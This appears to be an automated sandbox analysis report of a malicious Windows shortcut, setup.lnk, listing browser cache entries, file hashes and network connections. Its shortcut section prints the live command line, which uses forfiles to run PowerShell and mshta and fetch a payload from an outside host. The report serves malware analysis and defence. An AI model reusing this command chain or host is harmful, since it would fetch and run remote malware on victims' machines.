Preview:	............ .h...&... .... .........(....... ..... ............................................0...................................................................................................................................v.].X.:.X.:.r.Y........................................q.X.S.4.S.4.S.4.S.4.S.4.S.4...X....................0........q.W.S.4.X.:.................J...A...g.........................K.H.V.8..........................F..B.....................,.......................................B..............................................B..B..B..B..B...u..........................................B..B..B..B..B...{.................5.......k...........................................................7R..8F.................................................2........Vb..5C..;I..................R^.....................0................Xc..5C..5C..5C..5C..5C..5C..lv..........................................]i..<J..:G..Zf....................................................

Chrome Cache Entry: 108

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1222), with no line terminators
Category:	downloaded
Size (bytes):	1222
Entropy (8bit):	5.834072124457519
Encrypted:	false
SSDEEP:	24:2jkm94/zKPccAv+KVCLTLv138EgFB5vtTGJTlWtqn1/I8AsLqo40RWUnYN:VKEctKonR3evtTA8En1/3BLrwUnG
MD5:	4AC49175C314DF12EC34B4146B36237C
SHA1:	308CBE54E95BF0A3B42C122CA66A720C558B4DAF
SHA-256:	0CA481C23EC930C9DBC8259D22182E5F93730186A236BAA8D6A3DD2CC7A41DA6
SHA-512:	9C44831DD3D04F773628D7FDD559B58C74EDCDFC32AB5FEA326494A58910017DA1C55FC526AE6A41AD20EBF7FDF05DA634759FE2F212B3C49AAD004337931C95
Malicious:	false
URL:	https://www.google.com/recaptcha/api.js
Preview:	/* PLEASE DO NOT COPY AND PASTE THIS CODE. */(function(){var w=window,C='___grecaptcha_cfg',cfg=w[C]=w[C]\|\|{},N='grecaptcha';var gr=w[N]=w[N]\|\|{};gr.ready=gr.ready\|\|function(f){(cfg['fns']=cfg['fns']\|\|[]).push(f);};w['__recaptcha_api']='https://www.google.com/recaptcha/api2/';(cfg['render']=cfg['render']\|\|[]).push('onload');w['__google_recaptcha_client']=true;var d=document,po=d.createElement('script');po.type='text/javascript';po.async=true;var m=d.createElement('meta');m.httpEquiv='origin-trial';m.content='Az520Inasey3TAyqLyojQa8MnmCALSEU29yQFW8dePZ7xQTvSt73pHazLFTK5f7SyLUJSo2uKLesEtEa9aUYcgMAAACPeyJvcmlnaW4iOiJodHRwczovL2dvb2dsZS5jb206NDQzIiwiZmVhdHVyZSI6IkRpc2FibGVUaGlyZFBhcnR5U3RvcmFnZVBhcnRpdGlvbmluZyIsImV4cGlyeSI6MTcyNTQwNzk5OSwiaXNTdWJkb21haW4iOnRydWUsImlzVGhpcmRQYXJ0eSI6dHJ1ZX0=';d.head.prepend(m);po.src='https://www.gstatic.com/recaptcha/releases/yiNW3R9jkyLVP5-EEZLDzUtA/recaptcha__en.js';po.crossOrigin='anonymous';po.integrity='sha384-7+IRLxkl1z6qr/oVEzkUcOT7nJWJEREgLpBaZWNu

Chrome Cache Entry: 109

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	2228
Entropy (8bit):	7.82817506159911
Encrypted:	false
SSDEEP:	48:4/6MuQu6DYYEcBDlBVzqawiHI1Oupgl8m7NCnagQJFknwD:4SabhtXqMHyCl8m7N0ag6D
MD5:	EF9941290C50CD3866E2BA6B793F010D
SHA1:	4736508C795667DCEA21F8D864233031223B7832
SHA-256:	1B9EFB22C938500971AAC2B2130A475FA23684DD69E43103894968DF83145B8A
SHA-512:	A0C69C70117C5713CAF8B12F3B6E8BBB9CDAF72768E5DB9DB5831A3C37541B87613C6B020DD2F9B8760064A8C7337F175E7234BFE776EEE5E3588DC5662419D9
Malicious:	false
URL:	https://www.gstatic.com/recaptcha/api2/logo_48.png
Preview:	.PNG........IHDR...0...0.....W.......gAMA......a.... cHRM..z&..............u0...`..:....p..Q<....bKGD.......C......pHYs.................IDATh...P....=..8.....Nx. ..PlP8..;.C.1iL#6....Z..!......3.po .o.L.i.I..1fl..4..ujL&6$...............w...........,Z..z. ~.....\.._.C.eK...g..%..P..L7...96..q....L.....k6.....,xz.._......B."#...L(n..f..Yb....8.;....K)N...H).%.F"Ic.LB.........jG.uD..B....Tm....T..).A.}D.f..3.V.....O.....t_..].x.{o..........x?!W...j..@..G=Ed.XF.........J..E?../]..?p..W..H..d5% WA+.....)2r..+..'qk8.../HS.[...u..z.P.....-.A.}.......I .P.....S....\|...)..KS4....I.....W...@....S.s..s..$`.X9.....E.x.=.u.iJ...........k......'...!.a....*+.....(...S..\h....@............I.$..%.2....l......a.\|.....U....y.....t..8....TF.o.p.+.@<.g........-.M.....:.@..(.......@......>..=.ofm.WM{...e..,..D.r.......w....T.L.os..T@Rv..;.....9....56<.x...........2.k.1....dd.V.....m..y5../4\|...G.p.V.......6...}.....B........5...&..v..yTd.6...../m.K...(.

Chrome Cache Entry: 110

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	2228
Entropy (8bit):	7.82817506159911
Encrypted:	false
SSDEEP:	48:4/6MuQu6DYYEcBDlBVzqawiHI1Oupgl8m7NCnagQJFknwD:4SabhtXqMHyCl8m7N0ag6D
MD5:	EF9941290C50CD3866E2BA6B793F010D
SHA1:	4736508C795667DCEA21F8D864233031223B7832
SHA-256:	1B9EFB22C938500971AAC2B2130A475FA23684DD69E43103894968DF83145B8A
SHA-512:	A0C69C70117C5713CAF8B12F3B6E8BBB9CDAF72768E5DB9DB5831A3C37541B87613C6B020DD2F9B8760064A8C7337F175E7234BFE776EEE5E3588DC5662419D9
Malicious:	false
Preview:	.PNG........IHDR...0...0.....W.......gAMA......a.... cHRM..z&..............u0...`..:....p..Q<....bKGD.......C......pHYs.................IDATh...P....=..8.....Nx. ..PlP8..;.C.1iL#6....Z..!......3.po .o.L.i.I..1fl..4..ujL&6$...............w...........,Z..z. ~.....\.._.C.eK...g..%..P..L7...96..q....L.....k6.....,xz.._......B."#...L(n..f..Yb....8.;....K)N...H).%.F"Ic.LB.........jG.uD..B....Tm....T..).A.}D.f..3.V.....O.....t_..].x.{o..........x?!W...j..@..G=Ed.XF.........J..E?../]..?p..W..H..d5% WA+.....)2r..+..'qk8.../HS.[...u..z.P.....-.A.}.......I .P.....S....\|...)..KS4....I.....W...@....S.s..s..$`.X9.....E.x.=.u.iJ...........k......'...!.a....*+.....(...S..\h....@............I.$..%.2....l......a.\|.....U....y.....t..8....TF.o.p.+.@<.g........-.M.....:.@..(.......@......>..=.ofm.WM{...e..,..D.r.......w....T.L.os..T@Rv..;.....9....56<.x...........2.k.1....dd.V.....m..y5../4\|...G.p.V.......6...}.....B........5...&..v..yTd.6...../m.K...(.

Chrome Cache Entry: 111

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (56398), with no line terminators
Category:	downloaded
Size (bytes):	56398
Entropy (8bit):	5.907604034780877
Encrypted:	false
SSDEEP:	768:+LUmmAWTe2uXYp8Mi+yKYlebyB5lxRx54PHSGdXXwW7MFWwXVuE2:4UcW6v+0B5chXwW49z2
MD5:	EB4BC511F79F7A1573B45F5775B3A99B
SHA1:	D910FB51AD7316AA54F055079374574698E74B35
SHA-256:	7859A62E04B0ACB06516EB12454DE6673883ECFAEAED6C254659BCA7CD59C050
SHA-512:	EC9BDF1C91B6262B183FD23F640EAC22016D1F42DB631380676ED34B962E01BADDA91F9CBDFA189B42FE3182A992F1B95A7353AF41E41B2D6E1DAB17E87637A0
Malicious:	false
URL:	https://www.gstatic.com/recaptcha/releases/yiNW3R9jkyLVP5-EEZLDzUtA/styles__ltr.css
Preview:	.goog-inline-block{position:relative;display:-moz-inline-box;display:inline-block}* html .goog-inline-block{display:inline}*:first-child+html .goog-inline-block{display:inline}.recaptcha-checkbox{border:none;font-size:1px;height:28px;margin:4px;width:28px;overflow:visible;outline:0;vertical-align:text-bottom}.recaptcha-checkbox-border{-webkit-border-radius:2px;-moz-border-radius:2px;border-radius:2px;background-color:#fff;border:2px solid #c1c1c1;font-size:1px;height:24px;position:absolute;width:24px;z-index:1}.recaptcha-checkbox-borderAnimation{background-image:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAFQAAANICAYAAABZl8i8AAAABmJLR0QA/wD/AP+gvaeTAAAACXBIWXMAAABIAAAASABGyWs+AAAACXZwQWcAAABUAAADSAC4K4y8AAA4oElEQVR42u2dCZRV1ZX3q5iE4IQIiKQQCKBt0JLEIUZwCCk7pBNFiRMajZrIl9aOLZ8sY4CWdkDbT2McooaAEmNixFhpaYE2dCiLScWiQHCgoGQoGQuhGArKKl7V+c5/n33fO/V4w733nVuheXuv9V/rrnvP2Xud3zvTPee+ewsKxMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExP4OdtlT6ztAbRWvvLy8A3QkwxzH6tBGMMexI

Chrome Cache Entry: 112

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	102
Entropy (8bit):	4.989054234716049
Encrypted:	false
SSDEEP:	3:JSbMqSL1cdXWKQK43xrcphyAeWaee:PLKdXNQKqAeL
MD5:	1167D6356DB396071EE04367695481DB
SHA1:	BAAC3F93333B125BDAAE6945D12501BD2331699D
SHA-256:	7D4765F9E5EF9C44C30128CF2055EA61529F0C9FDF121B4DDCA394DA954D82DF
SHA-512:	A601002BBFD89C96CDFB1B3D4CDC01586953E19E497BDE8C11B186F92052FD7373CBCA794109F64F944EE079CE99F15DA607BBE5B9A3243C5D14A97D1C1E86CA
Malicious:	false
URL:	https://www.google.com/recaptcha/api2/webworker.js?hl=en&v=yiNW3R9jkyLVP5-EEZLDzUtA
Preview:	importScripts('https://www.gstatic.com/recaptcha/releases/yiNW3R9jkyLVP5-EEZLDzUtA/recaptcha__en.js');

Chrome Cache Entry: 113

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), TrueType, length 15344, version 1.0
Category:	downloaded
Size (bytes):	15344
Entropy (8bit):	7.984625225844861
Encrypted:	false
SSDEEP:	384:ctE5KIuhGO+DSdXwye6i9Xm81v4vMHCbppV0pr3Ll9/w:cqrVO++tw/9CICFbQLlxw
MD5:	5D4AEB4E5F5EF754E307D7FFAEF688BD
SHA1:	06DB651CDF354C64A7383EA9C77024EF4FB4CEF8
SHA-256:	3E253B66056519AA065B00A453BAC37AC5ED8F3E6FE7B542E93A9DCDCC11D0BC
SHA-512:	7EB7C301DF79D35A6A521FAE9D3DCCC0A695D3480B4D34C7D262DD0C67ABEC8437ED40E2920625E98AAEAFBA1D908DEC69C3B07494EC7C29307DE49E91C2EF48
Malicious:	false
URL:	https://fonts.gstatic.com/s/roboto/v18/KFOmCnqEu92Fr1Mu4mxK.woff2
Preview:	wOF2......;........H..;..........................d..@..J.`..L.T..<.....x.....^...x.6.$..6. ..t. ..I.h\|.l....A....b6........(......@e.]...:..-.0..r.)..hS..h...N.).D.........b.].......^..t?.m{...."84...9......c...?..r3o....}...S]....zbO.../z..{.....~cc....I...#.G.D....#e.A..b...b`a5P.4........M....v4..fI#X.z,.,...=avy..F.a.\9.P\|.[....r.Q@M.I.._.9..V..Q..]......[ {u..L@...]..K......]C....l$.Z.Z...Zs.4........ x.........F.?.7N..].\|.wb\....Z{1L#..t....0.dM...$JV...{..oX...i....6.v.~......)\|.TtAP&).KQ.]y........'...:.d..+..d..."C.h..p.2.M..e,.UP..@.q..7..D.@...,......B.n. r&.......F!.....\...;R.?-.i...,7..cb../I...Eg...!X.)5.Aj7...Ok..l7.j.A@B`".}.w.m..R.9..T.X.X.d....S..`XI..1... .$C.H.,.\. ..A(.AZ.................`Wr.0]y..-..K.1.............1.tBs..n.0...9.F[b.3x...$....T..PM.Z-.N.rS?I.<8eR'.3..27..?;..OLf.Rj.@.o.W...........j~ATA....vX.N:.3dM.r.)Q.B...4i.f..K.l..s....e.U.2...k..a.GO.}..../.'..%$..ed..'..qP....M..j....../.z&.=...q<....-..?.A.%..K..

Chrome Cache Entry: 114

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (733)
Category:	downloaded
Size (bytes):	499483
Entropy (8bit):	5.689959239730183
Encrypted:	false
SSDEEP:	6144:NvawYKfp4y5Wivn2HgBwIwhl998Ep6rihru6tbOq8hSlmYNuxF:tawL4y5lGn/8Ep4/UOLhobc
MD5:	C37774BE5504A3A7DEF09EFF73263BC3
SHA1:	C5160A2908B3FD4230ED5CF521728FABAF3B5C06
SHA-256:	4FD66999FB60AD3289DFAEE132FF52C0B1ECBA71661E4CBFE47D09AC4F1CD5A1
SHA-512:	0B6BD8B8BA94B177597517B641FADE09F843F22C3F02D9B1BA6440A19ACACAA598AECA3C2315D106D560E78837E1E9FA74111856D52F40CA9A7865D4F4EEC9C3
Malicious:	false
URL:	https://www.gstatic.com/recaptcha/releases/yiNW3R9jkyLVP5-EEZLDzUtA/recaptcha__en.js
Preview:	(function(){/.. SPDX-License-Identifier: Apache-2.0././.. Copyright The Closure Library Authors.. SPDX-License-Identifier: Apache-2.0././. Copyright The Closure Library Authors.. SPDX-License-Identifier: Apache-2.0././.. Copyright 2005, 2007 Bob Ippolito. All Rights Reserved.. Copyright The Closure Library Authors.. SPDX-License-Identifier: MIT./.var l=function(){return[function(N,C,H,p,U,E,y,z,c,h){if((N\|(c=["call",36,14],56))==N)Z[c[0]](this,C);if(3==(((N&((N&c[2])==N&&(p?(E=l[29](77,p,H),null===E\|\|void 0===E?U=C:U=new pU(E,ES),h=U):h=C),73))==N&&(p=A[4](24,C,yp,H),U=void 0,U=void 0===U?0:U,h=A[c[1]](12,C,f[4](19,v[20](33,H,p)),U)),4==(N>>2&15))&&(h=H.replace(/<\//g,C).replace(/\]\]>/g,"]]\\>")),(N^32)&15))if(E=A[4](7),U=void 0===p?0:p,H){for(z=C;z<H.length;z++)y=E[c[0]](H,z),U=(U<<5)-U+y,U&=U;h=U}else h=U;return h},function(N,C,H,p,U,E,.y,z,c,h,K,e,u){if(!((N^34)>>((17<=(N<<((N\|72)==(e=["Tc",'" style="display:none" tabindex="0">',29],N)&&(U=W[e[2]](55,this),C=f[4](25,this),H

Chrome Cache Entry: 115

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	16
Entropy (8bit):	3.75
Encrypted:	false
SSDEEP:	3:H0hCkY:UUkY
MD5:	AFB69DF47958EB78B4E941270772BD6A
SHA1:	D9FE9A625E906FF25C1F165E7872B1D9C731E78E
SHA-256:	874809FB1235F80831B706B9E9B903D80BD5662D036B7712CC76F8C684118878
SHA-512:	FD92B98859FFCCFD12AD57830887259F03C7396DA6569C0629B64604CD964E0DF15D695F1A770D2E7F8DF238140F0E6DA7E7D176B54E31C3BB75DDE9B9127C45
Malicious:	false
URL:	https://content-autofill.googleapis.com/v1/pages/ChVDaHJvbWUvMTE3LjAuNTkzOC4xMzISEAk8dqZYMe7mkRIFDVNaR8U=?alt=proto
Preview:	CgkKBw1TWkfFGgA=

Static File Info

General

File type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Description string, Has Relative path, Has command line arguments, Icon number=188, Archive, ctime=Sat May 8 07:13:59 2021, mtime=Sat May 8 07:13:59 2021, atime=Sat May 8 07:13:59 2021, length=41472, window=hidenormalshowminimized
Entropy (8bit):	4.591076436229967
TrID:	Windows Shortcut (20020/1) 100.00%
File name:	setup.lnk
File size:	1'108 bytes
MD5:	a69e28c995425fb3d3723b45c18ac227
SHA1:	afebe09ea1516f1378b6254ee6bc927501e24c96
SHA256:	1c7476c33f0d56e970dbfad87da96739d74bbd1928c4a044715ea75f61e72192
SHA512:	5ca4f0df883d42be6a9acea807656a7bb2023810a663d4c0e5bbb260b8df4e8e18b110a5439d7946a339e1bf70eda85f38e5538ad820ea45693d1958119e0cbe
SSDEEP:	24:8faQjmPBR1vm4pyAcPkV4+/4z+nQ6iniMsMKahavtttGrlcKOdm:8fawmpR9mup81JiMsBtvilMd
TLSH:	B41110151BD60B31D7B78D391825B722AA39BC09ED23EF1EC1B0515C4815500E431F2A
File Content Preview:	L..................F.... ...p.V..C..p.V..C..p.V..C..........................E....P.O. .:i.....+00.../C:\...................V.1.....>X.`..Windows.@........R.@>X.`..........................^.=.W.i.n.d.o.w.s.....Z.1.....EX....System32..B........R.@EX........

File Icon


Icon Hash:	71f8de8eaec9e93d

Static Windows Shortcut Info

General
Relative Path:	..\..\..\..\Windows\System32\forfiles.exe
Command Line Argument:	/p C:\Windows\Vss /c "powershell start mshta http://whitemansearch.shop/setup
Icon location:	shell32.dll

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Feb 20, 2024 23:45:51.150264025 CET	49675	443	192.168.2.5	23.1.237.91
Feb 20, 2024 23:45:51.150274038 CET	49674	443	192.168.2.5	23.1.237.91
Feb 20, 2024 23:45:51.493933916 CET	49673	443	192.168.2.5	23.1.237.91
Feb 20, 2024 23:45:57.848064899 CET	49705	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:45:58.065973043 CET	80	49705	5.101.153.86	192.168.2.5
Feb 20, 2024 23:45:58.066083908 CET	49705	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:45:58.066555977 CET	49705	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:45:58.284203053 CET	80	49705	5.101.153.86	192.168.2.5
Feb 20, 2024 23:45:58.322794914 CET	80	49705	5.101.153.86	192.168.2.5
Feb 20, 2024 23:45:58.322833061 CET	80	49705	5.101.153.86	192.168.2.5
Feb 20, 2024 23:45:58.322855949 CET	80	49705	5.101.153.86	192.168.2.5
Feb 20, 2024 23:45:58.322876930 CET	80	49705	5.101.153.86	192.168.2.5
Feb 20, 2024 23:45:58.322899103 CET	80	49705	5.101.153.86	192.168.2.5
Feb 20, 2024 23:45:58.322921038 CET	80	49705	5.101.153.86	192.168.2.5
Feb 20, 2024 23:45:58.322942019 CET	80	49705	5.101.153.86	192.168.2.5
Feb 20, 2024 23:45:58.322959900 CET	49705	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:45:58.322963953 CET	80	49705	5.101.153.86	192.168.2.5
Feb 20, 2024 23:45:58.322987080 CET	80	49705	5.101.153.86	192.168.2.5
Feb 20, 2024 23:45:58.323010921 CET	80	49705	5.101.153.86	192.168.2.5
Feb 20, 2024 23:45:58.323051929 CET	49705	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:45:58.323084116 CET	49705	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:45:58.540712118 CET	80	49705	5.101.153.86	192.168.2.5
Feb 20, 2024 23:45:58.540751934 CET	80	49705	5.101.153.86	192.168.2.5
Feb 20, 2024 23:45:58.540774107 CET	80	49705	5.101.153.86	192.168.2.5
Feb 20, 2024 23:45:58.540798903 CET	80	49705	5.101.153.86	192.168.2.5
Feb 20, 2024 23:45:58.540822029 CET	80	49705	5.101.153.86	192.168.2.5
Feb 20, 2024 23:45:58.540843964 CET	80	49705	5.101.153.86	192.168.2.5
Feb 20, 2024 23:45:58.540846109 CET	49705	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:45:58.540867090 CET	80	49705	5.101.153.86	192.168.2.5
Feb 20, 2024 23:45:58.540898085 CET	80	49705	5.101.153.86	192.168.2.5
Feb 20, 2024 23:45:58.540919065 CET	80	49705	5.101.153.86	192.168.2.5
Feb 20, 2024 23:45:58.540925026 CET	49705	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:45:58.540941000 CET	80	49705	5.101.153.86	192.168.2.5
Feb 20, 2024 23:45:58.540963888 CET	80	49705	5.101.153.86	192.168.2.5
Feb 20, 2024 23:45:58.540967941 CET	49705	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:45:58.540986061 CET	80	49705	5.101.153.86	192.168.2.5
Feb 20, 2024 23:45:58.541008949 CET	49705	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:45:58.541009903 CET	80	49705	5.101.153.86	192.168.2.5
Feb 20, 2024 23:45:58.541032076 CET	80	49705	5.101.153.86	192.168.2.5
Feb 20, 2024 23:45:58.541038990 CET	49705	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:45:58.541053057 CET	80	49705	5.101.153.86	192.168.2.5
Feb 20, 2024 23:45:58.541085958 CET	49705	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:45:58.541125059 CET	49705	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:45:58.541141987 CET	80	49705	5.101.153.86	192.168.2.5
Feb 20, 2024 23:45:58.541194916 CET	49705	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:45:58.541217089 CET	80	49705	5.101.153.86	192.168.2.5
Feb 20, 2024 23:45:58.541239977 CET	80	49705	5.101.153.86	192.168.2.5
Feb 20, 2024 23:45:58.541263103 CET	80	49705	5.101.153.86	192.168.2.5
Feb 20, 2024 23:45:58.541270971 CET	49705	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:45:58.541299105 CET	49705	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:45:58.541305065 CET	80	49705	5.101.153.86	192.168.2.5
Feb 20, 2024 23:45:58.541328907 CET	49705	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:45:58.541352987 CET	49705	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:45:58.758466959 CET	80	49705	5.101.153.86	192.168.2.5
Feb 20, 2024 23:45:58.758517027 CET	80	49705	5.101.153.86	192.168.2.5
Feb 20, 2024 23:45:58.758538008 CET	80	49705	5.101.153.86	192.168.2.5
Feb 20, 2024 23:45:58.758558989 CET	80	49705	5.101.153.86	192.168.2.5
Feb 20, 2024 23:45:58.758582115 CET	80	49705	5.101.153.86	192.168.2.5
Feb 20, 2024 23:45:58.758603096 CET	80	49705	5.101.153.86	192.168.2.5
Feb 20, 2024 23:45:58.758606911 CET	49705	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:45:58.758634090 CET	80	49705	5.101.153.86	192.168.2.5
Feb 20, 2024 23:45:58.758655071 CET	80	49705	5.101.153.86	192.168.2.5
Feb 20, 2024 23:45:58.758675098 CET	49705	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:45:58.758680105 CET	80	49705	5.101.153.86	192.168.2.5
Feb 20, 2024 23:45:58.758702993 CET	80	49705	5.101.153.86	192.168.2.5
Feb 20, 2024 23:45:58.758724928 CET	80	49705	5.101.153.86	192.168.2.5
Feb 20, 2024 23:45:58.758732080 CET	49705	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:45:58.758747101 CET	80	49705	5.101.153.86	192.168.2.5
Feb 20, 2024 23:45:58.758764982 CET	49705	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:45:58.758769035 CET	80	49705	5.101.153.86	192.168.2.5
Feb 20, 2024 23:45:58.758796930 CET	49705	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:45:58.758824110 CET	49705	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:45:58.758851051 CET	80	49705	5.101.153.86	192.168.2.5
Feb 20, 2024 23:45:58.758872986 CET	80	49705	5.101.153.86	192.168.2.5
Feb 20, 2024 23:45:58.758896112 CET	80	49705	5.101.153.86	192.168.2.5
Feb 20, 2024 23:45:58.758904934 CET	49705	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:45:58.758919001 CET	80	49705	5.101.153.86	192.168.2.5
Feb 20, 2024 23:45:58.758935928 CET	49705	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:45:58.758939028 CET	80	49705	5.101.153.86	192.168.2.5
Feb 20, 2024 23:45:58.758963108 CET	80	49705	5.101.153.86	192.168.2.5
Feb 20, 2024 23:45:58.758966923 CET	49705	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:45:58.758985043 CET	80	49705	5.101.153.86	192.168.2.5
Feb 20, 2024 23:45:58.759016991 CET	49705	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:45:58.759042978 CET	49705	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:45:58.759155989 CET	80	49705	5.101.153.86	192.168.2.5
Feb 20, 2024 23:45:58.759179115 CET	80	49705	5.101.153.86	192.168.2.5
Feb 20, 2024 23:45:58.759202003 CET	80	49705	5.101.153.86	192.168.2.5
Feb 20, 2024 23:45:58.759223938 CET	80	49705	5.101.153.86	192.168.2.5
Feb 20, 2024 23:45:58.759234905 CET	49705	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:45:58.759246111 CET	80	49705	5.101.153.86	192.168.2.5
Feb 20, 2024 23:45:58.759268045 CET	80	49705	5.101.153.86	192.168.2.5
Feb 20, 2024 23:45:58.759283066 CET	49705	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:45:58.759291887 CET	80	49705	5.101.153.86	192.168.2.5
Feb 20, 2024 23:45:58.759309053 CET	49705	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:45:58.759313107 CET	80	49705	5.101.153.86	192.168.2.5
Feb 20, 2024 23:45:58.759352922 CET	49705	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:45:58.759392977 CET	49705	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:00.759545088 CET	49674	443	192.168.2.5	23.1.237.91
Feb 20, 2024 23:46:00.759558916 CET	49675	443	192.168.2.5	23.1.237.91
Feb 20, 2024 23:46:01.103338957 CET	49673	443	192.168.2.5	23.1.237.91
Feb 20, 2024 23:46:01.310163975 CET	49705	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:02.482355118 CET	443	49703	23.1.237.91	192.168.2.5
Feb 20, 2024 23:46:02.482486010 CET	49703	443	192.168.2.5	23.1.237.91
Feb 20, 2024 23:46:04.335016966 CET	49710	443	192.168.2.5	104.21.79.229
Feb 20, 2024 23:46:04.335057974 CET	443	49710	104.21.79.229	192.168.2.5
Feb 20, 2024 23:46:04.335140944 CET	49710	443	192.168.2.5	104.21.79.229
Feb 20, 2024 23:46:04.337622881 CET	49712	443	192.168.2.5	104.21.79.229
Feb 20, 2024 23:46:04.337658882 CET	443	49712	104.21.79.229	192.168.2.5
Feb 20, 2024 23:46:04.337759018 CET	49712	443	192.168.2.5	104.21.79.229
Feb 20, 2024 23:46:04.409163952 CET	49712	443	192.168.2.5	104.21.79.229
Feb 20, 2024 23:46:04.409207106 CET	443	49712	104.21.79.229	192.168.2.5
Feb 20, 2024 23:46:04.409502029 CET	49710	443	192.168.2.5	104.21.79.229
Feb 20, 2024 23:46:04.409523964 CET	443	49710	104.21.79.229	192.168.2.5
Feb 20, 2024 23:46:04.410517931 CET	49714	443	192.168.2.5	142.250.31.84
Feb 20, 2024 23:46:04.410556078 CET	443	49714	142.250.31.84	192.168.2.5
Feb 20, 2024 23:46:04.410621881 CET	49714	443	192.168.2.5	142.250.31.84
Feb 20, 2024 23:46:04.411683083 CET	49715	443	192.168.2.5	142.251.40.238
Feb 20, 2024 23:46:04.411705971 CET	443	49715	142.251.40.238	192.168.2.5
Feb 20, 2024 23:46:04.411772966 CET	49715	443	192.168.2.5	142.251.40.238
Feb 20, 2024 23:46:04.412807941 CET	49715	443	192.168.2.5	142.251.40.238
Feb 20, 2024 23:46:04.412821054 CET	443	49715	142.251.40.238	192.168.2.5
Feb 20, 2024 23:46:04.412995100 CET	49714	443	192.168.2.5	142.250.31.84
Feb 20, 2024 23:46:04.413014889 CET	443	49714	142.250.31.84	192.168.2.5
Feb 20, 2024 23:46:04.738024950 CET	443	49712	104.21.79.229	192.168.2.5
Feb 20, 2024 23:46:04.739382029 CET	49712	443	192.168.2.5	104.21.79.229
Feb 20, 2024 23:46:04.739398956 CET	443	49712	104.21.79.229	192.168.2.5
Feb 20, 2024 23:46:04.741226912 CET	443	49712	104.21.79.229	192.168.2.5
Feb 20, 2024 23:46:04.741353035 CET	49712	443	192.168.2.5	104.21.79.229
Feb 20, 2024 23:46:04.744194984 CET	49712	443	192.168.2.5	104.21.79.229
Feb 20, 2024 23:46:04.744345903 CET	443	49710	104.21.79.229	192.168.2.5
Feb 20, 2024 23:46:04.744360924 CET	443	49712	104.21.79.229	192.168.2.5
Feb 20, 2024 23:46:04.744554996 CET	443	49714	142.250.31.84	192.168.2.5
Feb 20, 2024 23:46:04.744818926 CET	49712	443	192.168.2.5	104.21.79.229
Feb 20, 2024 23:46:04.744827032 CET	443	49712	104.21.79.229	192.168.2.5
Feb 20, 2024 23:46:04.744929075 CET	49714	443	192.168.2.5	142.250.31.84
Feb 20, 2024 23:46:04.744946957 CET	443	49714	142.250.31.84	192.168.2.5
Feb 20, 2024 23:46:04.745143890 CET	49710	443	192.168.2.5	104.21.79.229
Feb 20, 2024 23:46:04.745153904 CET	443	49710	104.21.79.229	192.168.2.5
Feb 20, 2024 23:46:04.746659040 CET	443	49714	142.250.31.84	192.168.2.5
Feb 20, 2024 23:46:04.746790886 CET	443	49710	104.21.79.229	192.168.2.5
Feb 20, 2024 23:46:04.746824980 CET	49714	443	192.168.2.5	142.250.31.84
Feb 20, 2024 23:46:04.746913910 CET	49710	443	192.168.2.5	104.21.79.229
Feb 20, 2024 23:46:04.752104998 CET	49714	443	192.168.2.5	142.250.31.84
Feb 20, 2024 23:46:04.752269030 CET	443	49714	142.250.31.84	192.168.2.5
Feb 20, 2024 23:46:04.752788067 CET	49714	443	192.168.2.5	142.250.31.84
Feb 20, 2024 23:46:04.752798080 CET	443	49714	142.250.31.84	192.168.2.5
Feb 20, 2024 23:46:04.752823114 CET	49710	443	192.168.2.5	104.21.79.229
Feb 20, 2024 23:46:04.752907991 CET	443	49710	104.21.79.229	192.168.2.5
Feb 20, 2024 23:46:04.755825043 CET	443	49715	142.251.40.238	192.168.2.5
